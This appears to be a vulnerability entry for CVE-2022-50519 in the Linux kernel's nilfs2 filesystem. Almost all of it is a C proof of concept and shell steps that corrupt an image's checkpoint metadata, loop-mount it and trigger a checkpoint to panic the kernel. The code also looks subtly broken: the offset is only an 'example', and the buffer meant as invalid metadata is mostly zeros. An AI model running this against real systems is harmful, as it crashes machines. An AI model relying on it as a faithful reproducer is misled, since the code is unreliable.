CVE-2022-50519 Linux内核nilfs2文件系统检查点获取失败漏洞

// PoC: Trigger nilfs2 checkpoint failure to cause kernel panic // This PoC demonstrates how to trigger the vulnerability by creating // a corrupted nilfs2 filesystem image with invalid checkpoint metadata. // Run with a kernel booted with panic_on_warn=1 to observe the panic. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> /* * Steps to reproduce: * 1. Create a nilfs2 filesystem image * $ dd if=/dev/zero of=nilfs.img bs=1M count=100 * $ mkfs.nilfs2 nilfs.img * * 2. Corrupt the checkpoint metadata area in the image * (e.g., modify the checkpoint file's segment summary) * * 3. Mount the corrupted image with loop device * $ sudo losetup /dev/loop0 nilfs.img * $ sudo mount -t nilfs2 /dev/loop0 /mnt/nilfs * * 4. Trigger checkpoint operation * $ sudo nilfs-clean /mnt/nilfs * or perform filesystem operations that trigger checkpoint * * 5. On vulnerable kernel with panic_on_warn=1, system will panic */ int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <nilfs_image>\n", argv[0]); return 1; } const char *image = argv[1]; int fd = open(image, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* Corrupt checkpoint metadata - offset depends on nilfs2 layout */ /* The checkpoint file area typically starts after the superblock */ off_t cp_offset = 0x1000; /* example offset */ unsigned char corrupt_data[4096] = {0xFF}; /* invalid metadata */ if (pwrite(fd, corrupt_data, sizeof(corrupt_data), cp_offset) < 0) { perror("pwrite"); close(fd); return 1; } printf("Checkpoint metadata corrupted at offset %ld\n", cp_offset); printf("Now mount the image to trigger the vulnerability:\n"); printf(" sudo losetup /dev/loop0 %s\n", image); printf(" sudo mount -t nilfs2 /dev/loop0 /mnt/nilfs\n"); printf(" sudo nilfs-clean /mnt/nilfs # trigger checkpoint\n"); close(fd); return 0; }